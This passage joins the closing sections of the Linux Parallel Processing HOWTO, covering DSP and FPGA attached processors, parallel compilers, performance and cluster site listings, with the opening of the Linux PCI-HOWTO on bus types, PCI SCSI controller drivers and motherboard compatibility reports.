  • Many of them, such as the Texas Instruments ( http://www.ti.com/) TMS320 and the Analog Devices ( http://www.analog.com/) SHARC DSP families, are designed to construct parallel machines with little or no "glue" logic.
  • They are cheap, especially per MIP or MFLOP. Including the cost of basic support logic, it is not unheard of for a DSP processor to be one tenth the cost of a PC processor with comparable performance.
  • They do not use much power nor generate much heat. This means that it is possible to have a bunch of these chips powered by a conventional PC's power supply - and enclosing them in your PC's case will not turn it into an oven.
  • There are strange-looking things in most DSP instruction sets that high-level (e.g., C) compilers are unlikely to use well - for example, "Bit Reverse Addressing." Using an attached parallel system, it is possible to straightforwardly compile and run most code on the host, while running the most time-consuming few algorithms on the DSPs as carefully hand-tuned code.
  • These DSP processors are not really designed to run a UNIX-like OS, and generally are not very good as stand-alone general-purpose computer processors. For example, many do not have memory management hardware. In other words, they work best when hosted by a more general-purpose machine... such as a Linux PC.

Although some audio cards and modems include DSP processors that Linux drivers can access, the big payoff comes from using an attached parallel system that has four or more DSP processors.

Because the Texas Instruments TMS320 series, http://www.ti.com/sc/docs/dsps/dsphome.htm, has been very popular for a long time, and it is trivial to construct a TMS320-based parallel processor, there are quite a few such systems available. There are both integer-only and floating-point capable versions of the TMS320; older designs used a somewhat unusual single-precision floating-point format, but the new models support IEEE formats. The older TMS320C4x (aka, 'C4x) achieves up to 80 MFLOPS using the TI-specific single-precision floating-point format; in contrast, a single 'C67x will provide up to 1 GFLOPS single-precision or 420 MFLOPS double-precision for IEEE floating point calculations, using a VLIW-based chip architecture called VelociTI. Not only is it easy to configure a group of these chips as a multiprocessor, but in a single chip, the 'C8x multiprocessor will provide a 100 MFLOPS IEEE floating-point RISC master processor along with either two or four integer slave DSPs.

The other DSP processor family that has been used in more than a few attached parallel systems lately is the SHARC (aka, ADSP-2106x) from Analog Devices http://www.analog.com/. These chips can be configured as a 6-processor shared memory multiprocessor without external glue logic, and larger systems also can be configured using six 4-bit links/chip. Most of the larger systems seem targeted to military applications, and are a bit pricey. However, Integrated Computing Engines, Inc., http://www.iced.com/, makes an interesting little two-board PCI card set called GreenICE. This unit contains an array of 16 SHARC processors, and is capable of delivering a peak speed of about 1.9 GFLOPS using a single-precision IEEE format. GreenICE costs less than $5,000.

In my opinion, attached parallel DSPs really deserve a lot more attention from the Linux parallel processing community....

5.3 FPGAs And Reconfigurable Logic Computing

If parallel processing is all about getting the highest speedup, then why not build custom hardware? Well, we all know the answers; it costs too much, takes too long to develop, becomes useless when we change the algorithm even slightly, etc. However, recent advances in electrically reprogrammable FPGAs (Field Programmable Gate Arrays) have nullified most of those objections. Now, the gate density is high enough so that an entire simple processor can be built within a single FPGA, and the time to reconfigure (reprogram) an FPGA has also been dropping to a level where it is reasonable to reconfigure even when moving from one phase of an algorithm to the next.

This stuff is not for the weak of heart: you'll have to work with hardware description languages like VHDL for the FPGA configuration, as well as writing low-level code to interface to programs on the Linux host system. However, the cost of FPGAs is low, and especially for algorithms operating on low-precision integer data (actually, a small superset of the stuff SWAR is good at), FPGAs can perform complex operations just about as fast as you can feed them data. For example, simple FPGA-based systems have yielded better-than-supercomputer times for searching gene databases.

There are other companies making appropriate FPGA-based hardware, but the following two companies represent a good sample.

Virtual Computer Company offers a variety of products using dynamically reconfigurable SRAM-based Xilinx FPGAs. Their 8/16 bit "Virtual ISA Proto Board" http://www.vcc.com/products/isa.html is less than $2,000.

The Altera ARC-PCI (Altera Reconfigurable Computer, PCI bus), http://www.altera.com/html/new/pressrel/pr_arc-pci.html, is a similar type of card, but uses Altera FPGAs and a PCI bus interface rather than ISA.

Many of the design tools, hardware description languages, compilers, routers, mappers, etc., come as object code only that runs under Windows and/or DOS. You could simply keep a disk partition with DOS/Windows on your host PC and reboot whenever you need to use them, however, many of these software packages may work under Linux using dosemu or Windows emulators like wine.


Linux Parallel Processing HOWTO: Of General Interest

 Next Previous Contents

6. Of General Interest

The material covered in this section applies to all four parallel processing models for Linux.

6.1 Programming Languages And Compilers

I am primarily known as a compiler researcher, so I'd like to be able to say that there are lots of really great compilers automatically generating efficient parallel code for Linux systems. Unfortunately, the truth is that it is hard to beat the performance obtained by expressing your parallel program using various explicit communication and other parallel operations within C code that is compiled by GCC.

The following language/compiler projects represent some of the best efforts toward producing reasonably efficient code from high-level languages. Generally, each is reasonably effective for the kinds of programming tasks it targets, but none is the powerful general-purpose language and compiler system that will make you forever stop writing C programs to compile with GCC... which is fine. Use these languages and compilers as they were intended, and you'll be rewarded with shorter development times, easier debugging and maintenance, etc.

There are plenty of languages and compilers beyond those listed here (in alphabetical order). A list of freely available compilers (most of which have nothing to do with Linux parallel processing) is at http://www.idiom.com/free-compilers/.

Fortran 66/77/PCF/90/HPF/95

At least in the scientific computing community, there will always be Fortran. Of course, now Fortran doesn't mean the same thing it did in the 1966 ANSI standard. Basically, Fortran 66 was pretty simple stuff. Fortran 77 added tons of features, the most noticeable of which were the improved support for character data and the change of DO loop semantics. PCF (Parallel Computing Forum) Fortran attempted to add a variety of parallel processing support features to 77. Fortran 90 is a fully-featured modern language, essentially adding C++-like object-oriented programming features and parallel array syntax to the 77 language. HPF (High-Performance Fortran, http://www.crpc.rice.edu/HPFF/home.html), which has itself gone through two versions (HPF-1 and HPF-2), is essentially the enhanced, standardized, version of what many of us used to know as CM Fortran, MasPar Fortran, or Fortran D; it extends Fortran 90 with a variety of parallel processing enhancements, largely focussed on specifying data layouts. Finally, Fortran 95 represents a relatively minor enhancement and refinement of 90.

What works with C generally can also work with f2c, g77 (a nice Linux-specific overview is at http://linux.uni-regensburg.de/psi_linux/gcc/html_g77/g77_91.html), or the commercial Fortran 90/95 products from http://extweb.nag.co.uk/nagware/NCNJNKNM.html. This is because all of these compilers eventually come down to the same code-generation used in the back-end of GCC.

Commercial Fortran parallelizers that can generate code for SMPs are available from http://www.kai.com/ and http://www.psrv.com/vast/vast_parallel.html. It is not clear if these compilers will work for SMP Linux, but it should be possible given that the standard POSIX threads (i.e., LinuxThreads) work under SMP Linux.

The Portland Group, http://www.pgroup.com/, has commercial parallelizing HPF Fortran (and C, C++) compilers that generate code for SMP Linux; they also have a version targeting clusters using MPI or PVM. FORGE/spf/xHPF products at http://www.apri.com/ might also be useful for SMPs or clusters.

Freely available parallelizing Fortrans that might be made to work with parallel Linux systems include:

  • ADAPTOR (Automatic DAta Parallelism TranslaTOR, http://www.gmd.de/SCAI/lab/adaptor/adaptor_home.html), which can translate HPF into Fortran 77/90 code with MPI or PVM calls, but does not mention Linux.
  • Fx http://www.cs.cmu.edu/~fx/Fx at Carnegie Mellon targets some workstation clusters, but Linux?
  • HPFC (prototype HPF Compiler, http://www.cri.ensmp.fr/~coelho/hpfc.html) generates Fortran 77 code with PVM calls. Is it usable on a Linux cluster?
  • Can PARADIGM (PARAllelizing compiler for DIstributed-memory General-purpose Multicomputers, http://www.crhc.uiuc.edu/Paradigm/) be used with Linux?
  • The Polaris compiler, http://ece.www.ecn.purdue.edu/~eigenman/polaris/, generates Fortran code for shared memory multiprocessors, and may soon be retargeted to PAPERS Linux clusters.
  • PREPARE, http://www.irisa.fr/EXTERNE/projet/pampa/PREPARE/prepare.html, targets MPI clusters... it is not clear if it can generate code to run on IA32 processors.
  • Combining ADAPT and ADLIB, shpf (Subset High Performance Fortran compilation system, http://www.ccg.ecs.soton.ac.uk/Projects/shpf/shpf.html) is public domain and generates Fortran 90 with MPI calls... so, if you have a Fortran 90 compiler under Linux....
  • SUIF (Stanford University Intermediate Form, see http://suif.stanford.edu/) has parallelizing compilers for both C and Fortran. This is also the focus of the National Compiler Infrastructure Project... so, is anybody targeting parallel Linux systems?

I'm sure that I have omitted many potentially useful compilers for various dialects of Fortran, but there are so many that it is difficult to keep track. In the future, I would prefer to list only those compilers known to work with Linux. Please email comments and/or corrections to pplinux@ecn.purdue.edu.

GLU (Granular Lucid)

GLU (Granular Lucid) is a very high-level programming system based on a hybrid programming model that combines intensional (Lucid) and imperative models. It supports both PVM and TCP sockets. Does it run under Linux? More information is available at http://www.csl.sri.com/GLU.html.

Jade And SAM

Jade is a parallel programming language that extends C to exploit coarse-grain concurrency in sequential, imperative programs. It assumes a distributed shared memory model, which is implemented by SAM for workstation clusters using PVM. More information is available at http://suif.stanford.edu/~scales/sam.html.

Mentat And Legion

Mentat is an object-oriented parallel processing system that works with workstation clusters and has been ported to Linux. Mentat Programming Language (MPL) is an object-oriented programming language based on C++. The Mentat run-time system uses something vaguely resembling non-blocking remote procedure calls. More information is available at http://www.cs.virginia.edu/~mentat/.

Legion http://www.cs.virginia.edu/~legion/ is built on top on Mentat, providing the appearance of a single virtual machine across wide-area networked machines.

MPL (MasPar Programming Language)

Not to be confussed with Mentat's MPL, this language was originally developed as the native parallel C dialect for the MasPar SIMD supercomputers. Well, MasPar isn't really in that business any more (they are now NeoVista Solutions, http://www.neovista.com, a data mining company), but their MPL compiler was built using GCC, so it is still freely available. In a joint effort between the University of Alabama at Huntsville and Purdue University, MasPar's MPL has been retargeted to generate C code with AFAPI calls (see section 3.6), and thus runs on both Linux SMPs and clusters. The compiler is, however, somewhat buggy... see http://www.math.luc.edu/~laufer/mspls/papers/cohen.ps.

PAMS (Parallel Application Management System)

Myrias is a company selling a software product called PAMS (Parallel Application Management System). PAMS provides very simple directives for virtual shared memory parallel processing. Networks of Linux machines are not yet supported. See http://www.myrias.com/ for more information.

Parallaxis-III

Parallaxis-III is a structured programming language that extends Modula-2 with "virtual processors and connections" for data parallelism (a SIMD model). The Parallaxis software comprises compilers for sequential and parallel computer systems, a debugger (extensions to the gdb and xgbd debugger), and a large variety of sample algorithms from different areas, especially image processing. This runs on sequential Linux systems... an old version supported various parallel targets, and the new version also will (e.g., targeting a PVM cluster). More information is available at http://www.informatik.uni-stuttgart.de/ipvr/bv/p3/p3.html.

pC++/Sage++

pC++/Sage++ is a language extension to C++ that permits data-parallel style operations using "collections of objects" from some base "element" class. It is a preprocessor generating C++ code that can run under PVM. Does it run under Linux? More information is available at http://www.extreme.indiana.edu/sage/.

SR (Synchronizing Resources)

SR (Synchronizing Resources) is a concurrent programming language in which resources encapsulate processes and the variables they share; operations provide the primary mechanism for process interaction. SR provides a novel integration of the mechanisms for invoking and servicing operations. Consequently, all of local and remote procedure call, rendezvous, message passing, dynamic process creation, multicast, and semaphores are supported. SR also supports shared global variables and operations.

It has been ported to Linux, but it isn't clear what parallelism it can execute with. More information is available at http://www.cs.arizona.edu/sr/www/index.html.

ZPL And IronMan

ZPL is an array-based programming language intended to support engineering and scientific applications. It generates calls to a simple message-passing interface called IronMan, and the few functions which constitute this interface can be easily implemented using nearly any message-passing system. However, it is primarily targeted to PVM and MPI on workstation clusters, and Linux is supported. More information is available at http://www.cs.washington.edu/research/projects/orca3/zpl/www/.

6.2 Performance Issues

There are a lot of people who spend a lot of time benchmarking particular motherboards, network cards, etc., trying to determine which is the best. The problem with that approach is that by the time you've been able to benchmark something, it is no longer the best available; it even may have been taken off the market and replaced by a revised model with entirely different properties.

Buying PC hardware is like buying orange juice. Usually, it is made with pretty good stuff no matter what company name is on the label. Few people know, or care, where the components (or orange juice concentrate) came from. That said, there are some hardware differences that you should pay attention to. My advice is simply that you be aware of what you can expect from the hardware under Linux, and then focus your attention on getting rapid delivery, a good price, and a reasonable policy for returns.

An excellent overview of the different PC processors is given in http://www.pcguide.com/ref/cpu/fam/; in fact, the whole WWW site http://www.pcguide.com/ is full of good technical overviews of PC hardware. It is also useful to know a bit about performance of specific hardware configurations, and the Linux Benchmarking HOWTO http://sunsite.unc.edu/LDP/HOWTO/Benchmarking-HOWTO.html is a good place to start.

The Intel IA32 processors have many special registers that can be used to measure the performance of a running system in exquisite detail. Intel VTune, http://developer.intel.com/design/perftool/vtune/, uses the performance registers extensively in a very complete code-tuning system... that unfortunately doesn't run under Linux. A loadable module device driver, and library routines, for accessing the Pentium performance registers is available from http://www.cs.umd.edu/users/akinlar/driver.html. Keep in mind that these performance registers are different on different IA32 processors; this code works only with Pentium, not with 486, Pentium Pro, Pentium II, K6, etc.

Another comment on performance is appropriate, especially for those of you who want to build big clusters and put them in small spaces. At least some modern processors incorporate thermal sensors and circuits that are used to slow the internal clock rate if operating temperature gets too high (an attempt to reduce heat output and improve reliability). I'm not suggesting that everyone should go buy a peltier device (heat pump) to cool each CPU, but you should be aware that high operating temperature does not just shorten component life - it also can directly reduce system performance. Do not arrange your computers in physical configurations that block airflow, trap heat within confined areas, etc.

Finally, performance isn't just speed, but also reliability and availability. High reliability means that your system almost never crashes, even when components fail... which generally requires special features like redundant power supplies and hot-swap motherboards. That usually isn't cheap. High availability refers to the concept that your system is available for use nearly all the time... the system may crash when components fail, but the system is quickly repaired and rebooted. There is a High-Availability HOWTO that discusses many of the basic issues. However, especially for clusters, high availablity can be achieved simply by having a few spares. I recommend at least one spare, and prefer to have at least one spare for every 16 machines in a large cluster. Discarding faulty hardware and replacing it with a spare can yield both higher availability and lower cost than a maintenance contract.

6.3 Conclusion - It's Out There

So, is anybody doing parallel processing using Linux? Yes!

It wasn't very long ago that a lot of people were wondering if the death of many parallel-processing supercomputer companies meant that parallel processing was on its way out. I didn't think it was dead then (see http://dynamo.ecn.purdue.edu/~hankd/Opinions/pardead.html for a fun overview of what I think really happened), and it seems quite clear now that parallel processing is again on the rise. Even Intel, which just recently stopped making parallel supercomputers, is proud of the parallel processing support in things like MMX and the upcoming IA64 EPIC (Explicitly Parallel Instruction Computer).

If you search for "Linux" and "parallel" with your favorite search engine, you'll find quite a few places are involved in parallel processing using Linux. In particular, Linux PC clusters seem to be popping-up everywhere. The appropriateness of Linux, combined with the low cost and high performance of PC hardware, have made parallel processing using Linux a popular approach to supercomputing for both small, budget-constrained, groups and large, well-funded, national research laboratories.

Various projects listed elsewhere in this document maintain lists of "kindred" research sites that have similar parallel Linux configurations. However, at http://yara.ecn.purdue.edu/~pplinux/Sites/, there is a hypertext document intended to provide photographs, descriptions, and contact information for all the various sites using Linux systems for parallel processing. To have information about your site posted there:

  • You must have a "permanent" parallel Linux site: an SMP, cluster of machines, SWAR system, or PC with attached processor, which is configured to allow users to execute parallel programs under Linux. A Linux-based software environment (e.g., PVM, MPI, AFAPI) that directly supports parallel processing must be installed on the system. However, the hardware need not be dedicated to parallel processing under Linux, and may be used for completely different purposes when parallel programs are not being run.
  • Request that your site be listed. Send your site information to pplinux@ecn.purdue.edu. Please follow the format used in other entries for your site information. No site will be listed without an explicit request from the contact person for that site.

There are 14 clusters in the current listing, but we are aware of at least several dozen Linux clusters world-wide. Of course, listing does not imply any endorsement, etc.; our hope is simply to increase awareness, research, and collaboration involving parallel processing using Linux.


Linux PCI-HOWTO

by Michael Will, Michael.Will@student.uni-tuebingen.de

v0.6h, 24 June 2001

Information on what works with Linux and PCI-boards and what does not. Please get the latest version of this document at The Linux Documentation Project

1. Introduction

2. Why PCI?

  • 2.1 General overview
  • 2.2 Performance
  • 2.3 The onboard-SCSI-II-chip NCR53c810
  • 2.4 Drew Eckhardt on PCI-SCSI:
  • 2.5 New Alpha Version of the NCR driver
  • 2.6 The EATA-DMA driver and the PCI SCSI controllers from DPT
  • 2.7 BT-946C fully supported with kernel 1.3.x and newer
  • 2.8 Future Domain TMC-3260 PCI SCSI
  • 2.9 other thoughts on scsi

3. ASUS-Boards

  • 3.1 ASUS and the NMI (Parity) -- impact on Gravis-Ultrasound
  • 3.2 Various types of ASUS Boards
  • 3.3 Benchmarks on ASUS Mainboards
  • 3.4 Detailed information on the old ASUS PCI-I-SP3 with saturn chipset from heinrich@zsv.gmd.de:
  • 3.5 Pat Dowler (dowler@pt1B1106.FSH.UVic.CA) with ASUS SP3G

4. confusion about saturn chipsets

5. Video-Cards

6. Ethernet Cards

  • 6.1 3com-3c590-tpo
  • 6.2 DEC435 PCI NIC

7. Motherboards

  • 7.1 ASUS
  • 7.2 Micronics P54i-90
  • 7.3 SA486P AIO-II
  • 7.4 Sirius SPACE
  • 7.5 Gateway-2000
  • 7.6 Intel-Premiere
  • 7.7 DELL Poweredge SP4100 gbelow@pmail.sams.ch - successful
  • 7.8 DELL OptiPlex Gl+ 575
  • 7.9 Comtrade Best Buy PCI / PCI48X MB Rev 1.0
  • 7.10 IDeal PCI / PCI48X MB Rev 1.0
  • 7.11 CMD Tech. PCI IDE / CSA-6400C
  • 7.12 GA-486iS (Gigabyte)
  • 7.13 GA-586-ID (Gigabyte) 90 Mhz Pentium PCI/EISA Board
  • 7.14 ESCOM 486dx2/66 - which board?
  • 7.15 J-Bond with i486dx2/66
  • 7.16 super micro 011895 03:50 SUPER P54CI-PCI rev 1.3 (Opti)

8. reports on success

  • 8.1 GigaByte GA486-AM with AMD Am5x86-133-WB @ 160MHz (40MHz PCI)
  • 8.2 California Graphics - Sunray II Pro
  • 8.3 Micronics P54i-90 (root@intellibase.gte.com)
  • 8.4 Angelo Haritsis (ah@doc.ic.ac.uk) about SA486P AIO-II:
  • 8.5 bill.foster@mccaw.com about his Micronics M5Pi
  • 8.6 Simon Karpen (karpens@ncssm-server.ncssm.edu) with Micronics M54pi
  • 8.7 Goerg von Below (gbelow@pmail.sams.ch) about DELL Poweredge
  • 8.8 zenon@resonex.com about Gateway2000 P-66
  • 8.9 James D. Levine (jdl@netcom.com) with Gateway2000
  • 8.10 hi86@rz.uni-karlsruhe.de with SPACE
  • 8.11 grif@cs.ucr.edu with INTEL
  • 8.12 Jermoe Meyers (jeromem@amiserv.xnet.com) with Intel Premiere
  • 8.13 Timothy Demarest (demarest@rerf.or.jp) Intel Plato Premiere II
  • 8.14 heinrich@zsv.gmd.de with ASUS
  • 8.15 CARSTEN@AWORLD.aworld.de with ASUS
  • 8.16 Lars Heinemann (lars@uni-paderborn.de) with ASUS
  • 8.17 Ruediger.Funck@Physik.TU-Muenchen.DE with ASUS
  • 8.18 robert logan (rl@de-montfort.ac.uk with GW/2000)
  • 8.19 archie@CS.Berkeley.EDU and his friend use ASUS
  • 8.20 Michael Will with ASUS-SP3 486 (the old one)
  • 8.21 Mike Frisch (mfrisch@saturn.tlug.org) Giga-Byte 486IM
  • 8.22 Karl Keyte (kkeyte@esoc.bitnet) Gigabyte GA586 Pentium
  • 8.23 kenf@clark.net with G/W 2000
  • 8.24 Joerg Wedeck (jw@peanuts.informatik.uni-tuebingen.de) / ESCOM
  • 8.25 Ulrich Teichert / ASUS

9. Reports of problems

  • 9.1 Compaq PCI systems, especially Presarios
  • 9.2 VLSI Wildcat PCI chipset like in Zeos P120 box
  • 9.3 dmarples@comms.eee.strathclyde.ac.uk G/W 2000
  • 9.4 cip574@wpax01.physik.uni-wuerzburg.de (Frank Hofmann) / ASUS
  • 9.5 axel@avalanche.cs.tu-berlin.de (Axel Mahler) / ASUS
  • 9.6 Frank Strauss (strauss@dagoba.escape.de) / ASUS
  • 9.7 egooch@mc.com / ASUS
  • 9.8 Stefan.Dalibor@informatik.uni-erlangen.de / GigaByte
  • 9.9 Steve Durst (sdurst@burns.rl.af.mil) with UMC 8500 mainboard
  • 9.10 Tom Drabenstott (tldraben@Teleport.Com) with Comtrade / PCI48IX

10. General tips for PCI-Motherboard + Linux NCR PCI SCSI

  • 10.1 DON'Ts:
  • 10.2 SIMM slots
  • 10.3 Praised PCI Pentium motherboard
  • 10.4 irq-lines
  • 10.5 Info about the different NCR 8xx family scsi chips:
  • 10.6 future of 53c8xx
  • 10.7 Performance of the 53c810
  • 10.8 News about NCR53c825 support
  • 10.9 Frederic POTTER (Frederic.Potter@masi.ibp.fr) about Pentium+NCR+Strap_bug
  • 10.10 PCIprobe in the latest Linux Kernels by Frederic Potter
  • 10.11 Other PCI Devices

11. Conclusion

12. Thanks

13. copyright/legalese

14. GPL - Gnu Public License


Linux PCI-HOWTO: Introduction

 Next Previous Contents

1. Introduction

Many people, including me, would like to run Linux on a PCI-based machine. Since it is not obvious which PCI motherboards and PCI cards will work with Linux and which do not, I conducted a survey and spent some hours to compile the information contained herein. Most of this was done before 1997 and more uptodate technology might be covered in the device specific howtos such as the XFree86, Xinerama, Networking and Hardware-HOWTO.

If you have information to add, please mail me. If you have questions, feel free to ask.

Help with my style/grammar/language is welcome as well. I am not a native- speaker of English and expect to make occasional mistakes.

Note: "on-board chip" refers to a SCSI chip integrated onto the motherboard rather than on a PCI expansion card.

Also, "quotes" herein may have slight context editing.


Linux PCI-HOWTO: Why PCI?

 Next Previous Contents

2. Why PCI?

2.1 General overview

The PC-architecture has several BUS-Systems to choose from:

ISA

16 or 8bit, cheap, slow (usually 8Mhz), standard, many cards available>

EISA

32bit, expensive, fast, few cards available, fading>

MCA

32 or 16bit ex-IBM-proprietary, fast, becoming rare>

VESA-Local-Bus

32bit, based on 486 architecture, cheap, fast, many cards available>

PCI-Local-Bus

32bit (64 bit coming), cheap, fast, many cards available, nowadays standard>

MCA worked fine, but never achieved much market, being used on only some early IBM PS/2 machines. There were very few cards.

EISA was reliable, but rather expensive, and intended more for servers, than for the average user. It has the next fewest cards available.

VESA-Local-Bus (VLB) had some problems with high bus-speeds, and was not very reliable, but mainly due to its low price and better-than-ISA performance, sold very well. Technically, it's almost a direct map of the 486 processor bus. Most VESA boards should be stable by now. At the beginning of 1996, many 486 motherboards still support VESA, but PCI is growing. VESA busses are tied directly to the speed of the memory bus for 486's, or half the speed for Pentiums.

PCI now has the advantage. Like EISA it is not proprietary. It is as faster than EISA or MCA, and cheaper. Most current Pentium motherboards use the PCI bus; VESA is fading. Virtualy all PCI motherboards and cards sold at the beginning of 1996 are 32 bit, and run at 0-33 MHz.

Currently, most Pentium motherboards run the PCI bus at 1/2 the memory speed (ie: 33 MHz for the 66 MHz memory bus on the P66,P100,P133,P166; 30 MHz for the 60 MHz memory bus on the P60,P90,P120,P150; and 25 Mhz on the 50 MHz memory bus of the P75). This is probably true of Cyrix 6x86 motherboards too. NexGen 5x86 implemention isn't known. The PCI spec does allow the PCI bus to be run asynchronously from the processor, (eg: 33 Mhz bus on P75), but this is not common yet.

PCI 2.1 has been defined, allowing 64 bit PCI, and/or 0-66 MHz operations, but no x86 chipsets yet support these options. 64 bit PCI will probably appear first, in 32/64 bit dual compatible versions. That is, you will be able to mix 32 and 64 bit cards. 66 MHz PCI will take longer, as it's technically demanding, can only support one or maybe two slots per bridge, and may not work well with 33 MHz cards.

PCI is not processor dependent like the VESA Local-Bus. This means you can use the winner-1000-PCI in an Alpha-driven-PCI computer as well as in a i486/Pentium-driven PCI computer, with the appropriate BIOS and software. Beside Intel and DEC Alpha platforms, PCI is used on some PowerPC's.

Some PCI variations to be aware of: some implementations support "Bus Master" cards in all PCI slots, some in only one slot, and some not at all; some implementations support "bridging" on cards and some do not.

2.2 Performance

taken from Craig Sutphin's early Pro-PCI-Propaganda

Unlike some local buses, which are aimed at speeding up graphics alone, the PCI Local Bus is a total system solution, providing increased performance for networks, disk drives, full-motion video, graphics and the full range of high-speed peripherals. At 33 MHz, the synchronous PCI Local Bus transfers 32 bits of data at up to 132 Mbytes/sec. A transparent 64-bit extension of the 32-bit data and address buses can double the bus bandwidth (264 Mbytes/sec) and offer forward and backwards compatibility for 32 and 64-bit PCI Local Bus peripherals. Because it is processor-independent, the PCI Local Bus is optimized for I/O functions, enabling the local bus to operate concurrent with the processor/memory subsystem. For users of high-end desktop PC's, PCI makes high reliability, high performance and ease of use more affordable than ever before; no trivial task at 33 MHz bus-clock rates. Variable length linear or toggle mode bursting for both reads and writes improves write dependent graphics performance. By comprehending the loading and frequency requirements of the local bus at the component level, buffers and glue logic are eliminated.

See the chapter about Benchmarks for some crude (and perhaps meaningless) benchmarks on ASUS PCI Boards with 486 and 586.

2.3 The onboard-SCSI-II-chip NCR53c810

One very nice feature of some PCI mother boards is the NCR onboard-SCSI-II-chip, which is said to be as fast as the EISA-Adaptec-1742, but much cheaper. Drivers for DOS/OS2 are available. Drew Eckard has released his version of his NCR53c810-driver, which is in the standard kernel since v1.2.

This works so well I sold my adaptec-1542B-ISA soon after I bought the ASUS SP3-saturn-chipset II PCI board, and found the onboard NCR-SCSI controller to be much faster.

The NCR53c810-chip is onboard on some PCI-motherboards. There are add-on-boards available too, for about US$ 70.00.

There is only one thing I noticed did not work with the NCR-drivers when I tried them. Disconnect/Reconnect did not work, so using a SCSI-tape could be a pain, especially when using "mt erase" or the like blocks the whole SCSI-bus until it has finished. Since this was very unsatisfying for me, I bought one of these nice but expensive DPT PCI SCSI controller and had no such problems anymore.

People have reported this problem has been solved by Drew by now.

FreeBSD does support the NCR53c810 for quite a long time already, including Tagged Command Queues, FAST, WIDE and Disconnect for NCR 53c810, 815, 825. Drew said, it would be possible to adapt the FreeBSD driver to Linux. I somewhere saw some patches to do exactly this, any pointer to the location?

I personaly have the impression there are some important wheels invented more than once because of the differently evolving of FreeBSD and Linux. Some more cooperation could do both systems very well...

2.4 Drew Eckhardt on PCI-SCSI:

Drew said on end of March 95 about the SCSI on PCI: (slightly edited for clarity in context)

The Adaptec 2940, Buslogic BT946, BT946W, DPT PCI boards, Future Domain 3260, NCR53c810, NCR53c815, NCR53c820, and NCR53c825 all work for some definition of the word works.

  • The Adaptec 2940 suffers from the same cabling sensitivity that plagues all recent boards, but otherwise works fine.
  • The Future Domain boards are not busmasters, and the driver doesn't support multiple simultaenous commands. If you don't (currently) need multiple simultaneous commands, get a NCR board, which will be cheaper and is busmastering. If you need multiple simultaneous commands, get a Buslogic.
  • The Buslogic BT956W will do WIDE SCSI with the Linux drivers (although you can't use targets 8-15), the Adaptec 2940W (with one line patch to the 2940 driver) won't, nor will the NCR53c820 and NCR53c825.
  • The NCR boards are dirt cheap (< $ 70 US), are generally quite fast, but the driver currently doesn't support multiple simultaenous commands. Alpha which do neat things like disconnect/reconnect and synchronous transfer are now publicly available, see below.
  • Emulux, Forex, and other unmentioned PCI SCSI controllers will not work.

2.5 New Alpha Version of the NCR driver

Well, this is not exactly *that* new anymore, please try to he versions which are in the kernel by version 2.0.x before going for this entry.

Alpha versions of the NCR driver which do neat things like disconnect/reconnect and synchronous transfers are now publically available. Any one interested in playing with them should

  • Join the NCR mailing list, by sending mail to majordomo@colorado.edu with subscribe ncr53c810 in the text.
  • Get all of the readmes, and latest diffs file from ftp://tsx-11.mit.edu/pub/ALPHA/linux/SCSI/ncr53c810

2.6 The EATA-DMA driver and the PCI SCSI controllers from DPT

The EATA-DMA scsi driver has undergone extensive changes and now also supports PCI SCSI controllers, multiple controllers and all SCSI channels on the multichannel SmartCache/Raid boards in all combinations of WIDE, FAST-20 (ULTRA) and DIFFERENTIAL.

The driver supports all EATA-DMA Protocol (CAM document CAM/89-004 rev. 2.0c) compliant SCSI controllers and has been tested with many of those controllers in mixed combinations.

Those are:             (ISA)   (EISA) (PCI)
      DPT Smartcache: PM2011  PM2012B
      Smartcache III: PM2021  PM2022  PM2024
                              PM2122  PM2124
                              PM2322
      Smartcache IV:  PM2041  PM2042  PM2044
                              PM2142  PM2144
                              PM2322
      SmartRAID     : PM3021  PM3122
                              PM3222  PM3224
                                      PM3334
      and some controllers from NEC, AT&T, SNI, AST, Olivetti and Alphatronix.

On a "base" DPT card (no caching or RAID module), a MC680x0 controls the bus-mastering DMA chip(s) and the SCSI controller chip. The DPT SCSI card almost works like a SCSI coprocessor.

The DPT card also will emulate an IDE controller/drive (ST506 interface), which enables you to use it with all operating systems even if they don't have an EATA driver.

On a card with the caching module, the 680x0 maintains and manages the on-board cacheing. The DPT card supports up to 64 MB RAM for disk-cacheing.

On a card with the RAID module, the 680x0 also performs the management of the RAID, doing the mirroring on RAID-1, doing the striping and ECC info generation on RAID-5, etc.

The entry level boards utilize a Motorola 68000, the high-end, more raid specific DPT cards use a 68020, 68030 or 68040/40MHz processor.

Official list prices range from $ 265 to $1.645 (January 18, 1996)

Since I've been asked numerous times where you can buy those boards in Europe, I asked DPT to send me a list of their official European distributors. Here is a small excerpt:

Austria: Macrotron GmbH            Tel:+43 1 408 15430   Fax:+43 1 408 1545
Denmark: Tallgrass Technologies A/S Tel:+45 86 14 7000   Fax:+45 86 14 7333
Finland: Computer 2000 Finnland OY Tel:+35 80 887 331    Fax:+35 80 887 333 43
France : Chip Technologies         Tel:+33 1 49 60 1011  Fax:+33 1 49 599350
Germany: Akro Datensysteme GmbH    Tel:+49 (0)89 3178701 Fax:+49 (0)89 31787299
Russia : Soft-tronik               Tel:+7 812 315 92 76  Fax:+7 812 311 01 08
U.K.   : Ambar Systems Ltd.        Tel:+44 1296 311 300  Fax:+44 296 479 461

"IMHO, the DPT cards are the best-designed SCSI cards available for a PC. And I've written code for just about every type of SCSI card for the PC. (Although, in retrospect, I don't know why!) ;-)" Jon R. Taylor (jtaylor@magicnet.net) President, Visionix, Inc.

The latest version of the EATA-DMA driver and a Slackware bootdisk is available on: ftp.i-Connect.Net:/pub/Local/EATA

Since patchlevel 1.1.81 the driver is included in the standard kernel distribution.

The author can be reached under these addresses: neuffer@mail.uni-mainz.de or mike@i-Connect.Net

2.7 BT-946C fully supported with kernel 1.3.x and newer

There is a driver in the 1.3.x kernels (available as a patch for the 1.2.13 kernel) written by someone associated with buslogic that fully supports the 946C and ALL of it's features including strict round robin, tagged queueing, multiple scatter/gather, multiple mailboxes, IRQ sharing, and yes, 15 devices on Fast/Wide. It is no longer necessary to use any ISA emulation with the driver (no DMA channel, no ISA address), and the driver is /fast/ and /stable/ (it's out of BETA and into full release).

The driver is available on ftp.dandelion.com (the newest version can always be got by doing "get BusLogic*"). It supports ALL BusLogic controllers with the exception of the FlashPoint LT, which uses a different interface. The driver is included in the 1.3.x kernels as standard for BusLogic devices.

2.8 Future Domain TMC-3260 PCI SCSI

Rik Faith (faith@cs.unc.edu) informed me on Wed, 1 Feb 1995 about the Future Domain TMC-3260 PCI SCSI card being supported by the Future Domain 16x0 SCSI driver. Newer information might be contained in the SCSI-HOWTO.

